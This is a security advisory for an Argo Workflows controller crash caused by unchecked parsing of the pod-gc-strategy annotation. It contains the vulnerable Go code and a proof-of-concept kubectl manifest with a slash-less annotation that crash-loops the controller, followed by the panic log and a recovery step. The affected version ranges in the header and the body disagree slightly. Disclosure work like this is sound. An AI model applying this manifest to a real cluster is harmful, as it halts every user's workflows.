Skip to content

Unchecked annotation parsing in pod informer crashes Argo Workflows controller

High
Joibel published GHSA-5jv8-h7qh-rf5p Apr 23, 2026

Package

gomod github.com/argoproj/argo-workflows (Go)

Affected versions

>=4.0.0, <=4.0.4
>=3.7.0, <=3.7.13
>=3.6.5, <=3.6.19

Patched versions

4.0.5
3.7.14

Description

Summary

An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:

func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}

If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.

The code was introduced in #14129 and affects versions:

  • 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
  • 3.7.x: v3.7.0-rc1 through v3.7.12
  • 4.x: v4.0.0-rc1 through v4.0.3
  • Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF

Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:

panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246

Recovery requires deleting the poisoned workflow:

kubectl delete workflow -n argo crash-podgc

Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CVE ID

CVE-2026-40886

Weaknesses

Improper Validation of Array Index

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. Learn more on MITRE.

Credits